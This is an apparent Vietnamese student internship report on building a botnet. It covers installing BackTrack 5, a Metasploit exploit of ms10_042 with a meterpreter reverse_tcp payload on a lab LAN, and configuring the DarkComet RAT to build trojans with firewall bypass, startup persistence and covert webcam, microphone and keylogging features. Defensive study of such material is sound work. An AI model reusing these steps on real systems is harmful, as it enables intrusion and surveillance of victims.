Đề tài nguyên cứu và triển khai mạng lưới zombie, botnet trên hệ thống mạng

Trung Tâm Đào Tạo Quản Trị Mạng Và An Ninh
Mạng Quốc Tế Athena






ĐỀ TÀI: Nguyên cứu và triển khai mạng lưới
zombie, botnet trên hệ thống mạng

GVHD: Võ Đỗ Thắng
Sinh viên thục hiện:
- Nguyễn Văn Luân
TP. Hồ Chí Minh, tháng 8 năm 2014

MỤC LỤC
LI M ĐU 2
1. Sự cần thiết ca đ ti 2
2. Mc tiêu nghiên cu 2
3. Phương php nghiên cu 2
4. Kết cu đ ti 2
LỜI CẢM ƠN 4
NHẬN XÉT CỦA GIÁO VIÊN 5
PHN 1 : GIỚI THIỆU VỀ BACKTRACK 5 6
1. Giới thiệu 6
2. Mc đích 6
3. Ci đặt 7
PHN 2: TRIỂN KHAI TRONG MÔI TRƯNG LAN 14
1. Mô phỏng mạng LAN 14
14

2. Thử nghiệm xâm nhập bằng Metasploit 14
PHN 3: XÂY DỰNG BOTNET BẰNG DARKCOMET 18
1. Giới thiệu DarkComet 18
2. Ci đặt DarkComet 18
HƯỚNG PHÁT TRIỂN 35
KẾT LUẬN 36
TÀI LIỆU THAM KHẢO 37




Trung tâm đào tạo Quản trị và An ninh mạng Athena
ĐỀ TÀI: Nguyên cứu và triển khai mạng lưới zombie, botnet trên hệ thống mạng Trang 2
LI M ĐU
1. Sự cần thiết ca đ ti
Trong cc kiểu tn công hệ thống trên internet, tn công DDoS (Distributed Denial of
Service) l cch tn công đơn giản, hiệu quả v khó phòng chống bậc nht. DDoS l
cch tn công dựa vo việc gửi số lượng lớn yêu cầu (request) đến hệ thống nhằm
chiếm dng ti nguyên, lm cho hệ thống qu tải, không thể tiếp nhận v phc v cc
yêu cầu từ người dùng thực sự. Ví d điển hình l vo thng 7 năm 2013, hng loạt cc
trang bo điện tử ca Việt Nam như Vietnamnet, Tuổi Trẻ Online, Dân Trí, Thanh niên
Online bị tn công dẫn đến không thể truy cập được trong nhiu tuần lễ liên tiếp. Theo
thống kê từ Abort Network, đầu năm 2014 có hơn 100 v tn công DDoS trên
100Gbps, 5733 v tn công đạt 20Gbps gp hơn hai lần năm 2013.
Để có thể tạo được số lượng yêu cầu đ lớn để đnh sập hệ thống mc tiêu, cc hacker
thường gây dựng mạng lưới zombie, botnet với số lượng có thể lên đến hng triệu my.
Vì vậy, nghiên cu v cch xây dựng mạng lưới zombie, botnet sẽ giúp chúng ta hiểu
hơn v cch hoạt động, từ đó xây dựng cc biện php phòng ngừa sự pht triển ca hệ
thống zombie, botnet.
2. Mc tiêu nghiên cu

Đề tài nghiên cứu trên hai môi trường:
Giai đoạn 1: Trong môi trường mạng LAN, tìm ra được cc lỗ hổng bảo mật trên cc
my trong mạng, thử xâm nhập trên cc my.
Giai đoạn 2: Trong môi trường Internet, dùng DarkComet để thử tạo, pht tn v điểu
khiển mạng lưới botnet thông qua mạng Internet.
3. Phương php nghiên cu
Giai đoạn 1: Sử dng ảo hóa VMware để mô phỏng môi trường mạng LAN. Ci đặt
Backtrack trên một my ảo VMware. Sau đó thực hiện thâm nhập từ my Backtrack tới
một mc tiêu.
Giai đoạn 2: Ci đặt v tạo bot trên VPS (Virtual Private Server) v pht tn trên
mạng. Sau đó thực hiện xâm nhập, kiểm sot từ xa thông qua địa chỉ IP public ca
VPS.
4. Kết cu đ ti
Phần 1: Giới thiệu v Backtrack 5
Phần 2: Triển khai trong môi trường LAN



Trung tâm đào tạo Quản trị và An ninh mạng Athena
ĐỀ TÀI: Nguyên cứu và triển khai mạng lưới zombie, botnet trên hệ thống mạng Trang 3
Phần 3: Triển khai xây dựng botnet bằng DarkComet
Kt lun
Qua thời gian học tập và nghiên cu trên ghế nh trường cùng với sự hỗ trợ tận tình ca
Thầy cô, bạn bè v người thân đã giúp em thu thập được nhiu kiến thc quý bo. Đặc biệt
là quá trình thực tập tại Trung tâm ATHENA giúp chúng em có những trải nghiệm vô cùng
thú vị và bổ ích. Với mong muốn tìm hiểu v mạng máy tính và góp phần xây dựng một
mạng máy tính thân thiện, thông minh cho mọi người sử dng.
Tuy đã có rt nhiu cố gắng song không thể tránh những khuyết điểm, sai sót. Vì thế mong
được sự thông cảm và những ý kiến đóng góp quý bo từ Quý Thầy Cô, bạn bè, bạn đọc để
chúng em có thể ngày một hoàn thiện đ ti đã chọn một cách tốt hơn nữa. Xin chân thành

cảm ơn






Trung tâm đào tạo Quản trị và An ninh mạng Athena
ĐỀ TÀI: Nguyên cứu và triển khai mạng lưới zombie, botnet trên hệ thống mạng Trang 4
LỜI CẢM ƠN

Thực tập là quá trình tham gia học hỏi, so sánh, nghiên cứu và ứng dụng
những kiến thức đã học vào thực tế công việc ở các cơ quan quản lý hành chính nhà nước và các công
việc sau này. Với nhiều kiến thức còn bỡ ngỡ của một sinh viên năm cuối, chuyên ngành công nghệ
thông tin trường Đại học Tài Nguyên Và Môi Trường TPHCM, chúng em đã được tham gia trong suốt
quá trình thực tập tại trung tâm Athena.
Tại đây chúng em đã nhận được nhiều sự hỗ trợ và giúp đỡ của các bạn bè đồng nghiệp và đặc biệt là
sự tận tình, chu đáo của thầy Võ Đỗ Thắng, giám đốc Trung tâm đào tạo và quản trị mạng an ninh quốc
tế. Cùng với sự hỗ trợ từ phía nhà trường, xin gởi lời cảm ơn chân thành đến quý Thầy Cô khoa công
nghệ thông tin trường Đại học Tài Nguyên Và Môi Trường TPHCM đã tạo điều kiện tốt nhất để chúng
em hoàn thành khóa thực tập này.
Với sự nỗ lực của bản thân và sự hỗ trợ giúp đỡ, kiến thức ban đầu vẫn còn nhiều hạn chế, vì vậy
không tránh khỏi những thiếu sót trong quá trình hoàn thành báo cáo. Mong nhận được nhiều đóng
góp ý kiến của quý Thầy Cô cũng như nhiều bạn cùng chuyên môn để có thể nắm vững kiến thức hơn.
Sau cùng, chúng em xin kính chúc quý Thầy Cô trong Khoa Công Nghệ Thông Tin và Thầy Võ Đỗ Thắng
lời chúc sức khỏe, niềm tin để tiếp tục thực hiện sứ mệnh cao đẹp của mình_ truyền đạt kiến thức cho
thế hệ mai sau.

Trung tâm đào tạo Quản trị và An ninh mạng Athena
ĐỀ TÀI: Nguyên cứu và triển khai mạng lưới zombie, botnet trên hệ thống mạng Trang 5
XÁC NHẬN CỦA CƠ QUAN
THỦ TRƯỞNG
(ký tên, đóng dấu)

NHẬN XÉT CỦA GIÁO VIÊN

… , ngày….tháng….năm 2014
CÁN BỘ HƯỚNG DẪN
(ký tên)





Trung tâm đào tạo Quản trị và An ninh mạng Athena
ĐỀ TÀI: Nguyên cứu và triển khai mạng lưới zombie, botnet trên hệ thống mạng Trang 6
PHN 1 : GIỚI THIỆU VỀ BACKTRACK 5
1. Giới thiệu
Backtrack l bản phân phối dựa trên GNU/LINUX Debian nhắm mc đích php y kỹ
thuật số v sử dng thử nghiệm thâm nhập.Việc phân phối Backtrack có nguồn gốc từ
sự hợp nht ca hai phân phối trước đây l cạnh tranh m tập trung vo thử nghiệm
thâm nhập: WHAX v Auditor Security Collection.

2. Mc đích
Backtrack 5 có cc công c được sử dng cho qu trình thử nghiệm xâm nhập. Cc
công c kiểm tra xâm nhập trong backtrack 5 có thể được phân loại như sau :
1. Information gathering: loại ny có cha một số công c có thể được sử dng
để có được thông tin liên quan đến mc tiêu DNS,định tuyến, địa chỉ
email,trang web,my ch mail…Thông tin ny được thu thập từ cc thông
tin có sẵn trên internet,m không cần chạm vo môi trường mc tiêu.
2. Network mapping: loại ny cha một số công c có thể được sử dng để có
kiểm tra cc host đang tôn tại,thông tin v OS,ng dng được sử dng bởi
mc tiêu,v cũng lm portscanning.
3. Vulnerability identification: Trong thể loại ny, chúng ta có thể tìm thy cc
công c để quét cc lỗ hổng (tổng hợp) v trong cc thiết bị Cisco. Nó cũng
cha cc công c để thực hiện v phân tích Server Message Block (SMB)
và Simple Network Management Protocol (SNMP).
4. Web application analysis: loại ny cha cc công c có thể được sử dng
trong theo dõi, gim st cc ng dng web.
5. Radio network analysis: Để kiểm tra mạng không dây, bluetooth v nhận
dạng tần số vô tuyến (RFID).
6. Penetration: loại ny cha cc công c có thể được sử dng để khai thc cc
lỗ hổng tìm thy trong cc my tính mc tiêu.
7. Privilege escalation: Sau khi khai thc cc lỗ hổng v được truy cập vo cc
my tính mc tiêu, chúng ta có thể sử dng cc công c trong loại ny để
nâng cao đặc quyn ca chúng ta cho cc đặc quyn cao nht.
8. Maintaining access: Công c trong loại ny sẽ có thể giúp chúng ta trong
việc duy trì quyn truy cập vo cc my tính mc tiêu. Chúng ta có thể cần
để có được những đặc quyn cao nht trước khi cc chúng ta có thể ci đặt
công c để duy trì quyn truy cập.
9. Voice Over IP (VOIP): Để phân tích VOIP chúng ta có thể sử dng cc
công c trong thể loại ny.

Trung tâm đào tạo Quản trị và An ninh mạng Athena
ĐỀ TÀI: Nguyên cứu và triển khai mạng lưới zombie, botnet trên hệ thống mạng Trang 7
10. Digital forensics: Trong loại ny, chúng ta có thể tìm thy một số công c
có thể được sử dng để lm phân tích kỹ thuật như có được hình ảnh đĩa
cng, cu trúc cc tập tin, v phân tích hình ảnh đĩa cng. Để sử dng cc
công c cung cp trong thể loại ny, chúng ta có thể chọn Start Backtrack
Forensics trong trình đơn khởi động. Đôi khi sẽ đòi hỏi chúng ta phải gắn
kết nội bộ đĩa cng v cc tập tin trao đổi trong chế độ chỉ đọc để bảo tồn
tính ton vẹn.
11. Reverse engineering: Thể loại ny cha cc công c có thể được sử dng để
gỡ rối chương trình một hoặc tho rời một tập tin thực thi.

3. Ci đặt
Chúng ta có thể tải bản Backtrack 5 tại địa chỉ: www.backtrack-
linux.org/downloads/, có bản cho Vmware và file ISO.
1. Live DVD
Nếu chúng ta muốn sử dng Backtrack mà không cần cài nó vào ổ cng,
chúng ta có thể ghi tập tin ảnh ISO vo đĩa DVD, v khởi động máy tính
ca chúng ta với DVD. Backtrack sau đó sẽ chạy từ đĩa DVD. Lợi thế ca
việc sử dng Backtrack là một DVD Live là nó là rt dễ dàng để làm và
chúng ta không cần phải gây rối với cu hình máy hiện tại ca chúng ta.
Tuy nhiên, phương php ny cũng có một số nhược điểm. Backtrack có thể
không làm việc với phần cng, v thay đổi cu hình no được thực hiện trên
phần cng để làm việc sẽ không được lưu với đĩa DVD Live. Ngoi ra, nó
là chậm, vì máy tính cần phải tải cc chương trình từ đĩa DVD.
2. Install
 Ci đặt trong máy thật
Chúng ta cần chuẩn bị một phân vùng để ci đặt Backtrack. Sau đó chạy

Backtrack Live DVD. Khi gặp màn hình login, ta sử dng username là root,
pass l toor. Sau đó để vào chế độ đồ họa, ta gõ startx và ta sẽ vào chế độ đồ
họa ca Backtrack 5.
Để ci đặt Backtrack 5 đến đĩa cng ta chọn tập tin có tên install.sh trên
desktop và tiến hnh ci đặt. Tuy nhiên, nếu không thể tìm thy tập tin,
chúng ta có thể sử dng ubiquity để ci đặt. Để sử dng ubiquity, ta mở
Terminal gõ ubiquity. Sau đó cửa sổ ci đặt sẽ hiển thị. Sau đó trả lời 1 số



Trung tâm đào tạo Quản trị và An ninh mạng Athena
ĐỀ TÀI: Nguyên cứu và triển khai mạng lưới zombie, botnet trên hệ thống mạng Trang 8
câu hỏi như thnh phố chúng ta đang sống, keyboard layout, phân vùng ổ
đĩa ci đặt,… Sau đó tiến hnh ci đặt.
 Ci đặt trong máy ảo
Điểm thuận lợi là ta không cần chuẩn bị một phân vùng cho Backtrack, và
sử dng đồng thời một OS khác. Khuyết điểm là tốc độ chậm, không dùng
được wireless trừ USB wireless.
Ta có thể có thể sử dng file VMWare được cung cp bởi BackTrack. Từ
đây chúng ta có BackTrack trên my ảo thật dễ dàng và nhanh chóng. Cu
hình trong file VMWare là memory 768MB, hardisk :30GB, Network:NAT.
Để sử dng được card mạng thật, ta phải chọn Netword là Briged
Dưới đây lm một số hình ảnh khi cài BackTrack trên máy ảo VMWare

Tạo một máy ảo mới v cho đia BackTrack vo

Trung tâm đào tạo Quản trị và An ninh mạng Athena
ĐỀ TÀI: Nguyên cứu và triển khai mạng lưới zombie, botnet trên hệ thống mạng Trang 9
Giao diện khởi động ca BackTrack


Gõ startx để vào chế độ đồ họa trong BackTrack




Trung tâm đào tạo Quản trị và An ninh mạng Athena
ĐỀ TÀI: Nguyên cứu và triển khai mạng lưới zombie, botnet trên hệ thống mạng Trang 10
Để ci đặt, click chọn vào file Install BackTrack trên màn hình Desktop





Trung tâm đào tạo Quản trị và An ninh mạng Athena
ĐỀ TÀI: Nguyên cứu và triển khai mạng lưới zombie, botnet trên hệ thống mạng Trang 11
Chọn ngôn ngữ, chọn Tiếp để tiếp tc


Chọn múi giờ, chọn Tiếp để tiếp tc




Trung tâm đào tạo Quản trị và An ninh mạng Athena

ĐỀ TÀI: Nguyên cứu và triển khai mạng lưới zombie, botnet trên hệ thống mạng Trang 12
Chọn ngôn ngữ bàn phím, chọn Forward để tiếp tc

Chọn phân vùng để cài, chọn Tiếp để tiếp tc





Trung tâm đào tạo Quản trị và An ninh mạng Athena
ĐỀ TÀI: Nguyên cứu và triển khai mạng lưới zombie, botnet trên hệ thống mạng Trang 13
Nhn Ci đặt để bắt đầu cài

Qu trình ci đã bắt đầu.


Sau khi hoàn tt, chúng ta khởi động lại



Trung tâm đào tạo Quản trị và An ninh mạng Athena
ĐỀ TÀI: Nguyên cứu và triển khai mạng lưới zombie, botnet trên hệ thống mạng Trang 14
PHN 2: TRIỂN KHAI TRONG MÔI TRƯNG
LAN
1. Mô phỏng mạng LAN
Mô hình mạng LAN được mô phỏng:

Để chỉ định máy ảo sử dng Bridge ảo VMnet0, trong giao diện VMware, kích
chuột phải vào tên máy ảo, chọn Setting…, trong tab Hardware, chọn mc Network
Adapter, sau đó trong mc Network Connection, chọn tùy chọn Bridged


2. Thử nghiệm xâm nhập bằng Metasploit
Trong Backtrack5r3, chúng ta sử dng công c Metasploit để thực hiện xâm nhập.
Để khởi động giao diện Console ca Metasploit, trong Terminal, gõ lệnh
msfconsole.
Switch
PC1
PC2
PC3



Trung tâm đào tạo Quản trị và An ninh mạng Athena
ĐỀ TÀI: Nguyên cứu và triển khai mạng lưới zombie, botnet trên hệ thống mạng Trang 15

Để sử dng một module no đó, chúng ta sử dng cú pháp:
use <Đường dẫn đến module>
VD: khai thác lỗi ms10_042
Sử dng lệnh search ms10_042 để tìm ra moudle cần dùng

Trung tâm đào tạo Quản trị và An ninh mạng Athena
ĐỀ TÀI: Nguyên cứu và triển khai mạng lưới zombie, botnet trên hệ thống mạng Trang 16
use exploit/windows/browser/ms10_042_helpctr_xss_cmd_exec-> Enter

Các thiết lập:

set PAYLOAD windows/meterpreter/reverse_tcp
set SRVHOST 192.168.1.101



Trung tâm đào tạo Quản trị và An ninh mạng Athena
ĐỀ TÀI: Nguyên cứu và triển khai mạng lưới zombie, botnet trên hệ thống mạng Trang 17
set LHOST 192.168.1.101
exploit
Sau khi exploit, Metasploit sẽ tạo một link cha mã độc (http://192.168.1.101:80/),
chỉ cần nạn nhân click vo link thì mã độc sẽ được gửi sang máy nạn nhân và sau
đó có thể chiếm quyn máy.





Trung tâm đào tạo Quản trị và An ninh mạng Athena
ĐỀ TÀI: Nguyên cứu và triển khai mạng lưới zombie, botnet trên hệ thống mạng Trang 18
PHN 3: XÂY DỰNG BOTNET BẰNG
DARKCOMET
1. Giới thiệu DarkComet
DarkComet l một công c quản trị từ xa (Remote Administrator Tool) miễn phí rt

nổi tiếng, Tuy nhiên mình thy Dark Comet l một soft đơn giản cực kì lợi hại v
nguy hiểm, với cc tính năng như:
+ Remote Desktop Như TeamViewer nhưng không cần sự đồng ý.
+ Xem cc thư mc ca my victim, ăn cắp ti liệu từ my victim.
+ Có thể tạo, đọc v xóa cc thư mc trong my victim.
+ Xem lén Webcam ca victim.
+ Nghe trộm qua microphone ca victim.
+ Mở website bt kì m không cần sự đồng ý ca victim.
+ Chat với victim (ci ny fê phết, victim còn đíu tắt được cơ)
+ Keylog có thể xem luôn hoặc v email.
+ Xem regedit
+ Có thể sử dung chc năng ctrl + alt + del, Task Manager
+ Download file v chạy bình thường hoặc l ẩn ( Send sang my victim thêm vi
con trojan nữa chẳng hạn)
+ Khởi động cùng win con trojan đó…
Dự án DarkComet RAT đã pht hnh bản chính thc cuối cùng là DarkComet RAT
v5.4.1 Legacy vào ngày 1/10/2012.
2. Ci đặt DarkComet
Bản darkcomet dùng trong bo co được tải từ:

Chạy DarkComet trên linux:
Tải bản DarkComet v, giải nén vo thư mc darkcomet5.3.1RAT dùng lệnh: unzip
darkcomet5.3.1RAT.
Mở terminal, chuyển thư mc làm việc hiện hành v darkcomet5.3.1RAT.
Dùng lệnh wine darkcomet để khởi động DarkComet: wine darkcomet




Trung tâm đào tạo Quản trị và An ninh mạng Athena

ĐỀ TÀI: Nguyên cứu và triển khai mạng lưới zombie, botnet trên hệ thống mạng Trang 19

Giao diện quản lí các bot ca DarkComet, chờ đợi các kết nối tới:

Tạo cổng lắng nghe các kết nối từ nạn nhân: Vào DarkComet-RAT -> Listen to
new port(+Listen)
Đin cổng kết nối, cổng mặc định là 1604. Chọn Listen để xác nhận

Giao diện thêm socket lắng nghe
Ta có thể thêm cổng lắng nghe khác nếu muốn.



Trung tâm đào tạo Quản trị và An ninh mạng Athena
ĐỀ TÀI: Nguyên cứu và triển khai mạng lưới zombie, botnet trên hệ thống mạng Trang 20


Tạo trojan:
Trojan có thể được tạo từ bt kì my windows no. Cc bước tạo trojan:
- Download DarkComet v 531
- Sau đó giải nén file DarkComet531RAT.zip
- Vo thư mc giải nén, chạy file DarkComet.exe
- Ch úng ta c ó 2 t ùy ch ọn. ch ọn option c a tro jan theo m ặc đ ịnh (DarkComet ->
Server module-> Minimalist) ho ặc t ùy ch ọn (DarkComet -> Server module->
Full Editor)

Giao diện tùy chọn:

Trung tâm đào tạo Quản trị và An ninh mạng Athena
ĐỀ TÀI: Nguyên cứu và triển khai mạng lưới zombie, botnet trên hệ thống mạng Trang 21

Các cài đặt:
+ Main settings
- Password
- server ID,
- profile name
- tùy chọn bypass tường lửa
+ Network Settings
- Ci đặt IP sẽ lắng nghe các bot và cổng lắng nghe ca server.



Trung tâm đào tạo Quản trị và An ninh mạng Athena
ĐỀ TÀI: Nguyên cứu và triển khai mạng lưới zombie, botnet trên hệ thống mạng Trang 22





Trung tâm đào tạo Quản trị và An ninh mạng Athena
ĐỀ TÀI: Nguyên cứu và triển khai mạng lưới zombie, botnet trên hệ thống mạng Trang 23
+ Module Startup
Tùy chọn bot có khởi động cùng Windows hay không.

Trung tâm đào tạo Quản trị và An ninh mạng Athena
ĐỀ TÀI: Nguyên cứu và triển khai mạng lưới zombie, botnet trên hệ thống mạng Trang 24
+ Install Message
Hiển thị hộp thoại thông báo và nội dung khi nạn nhân chạy chương
trình bot hay không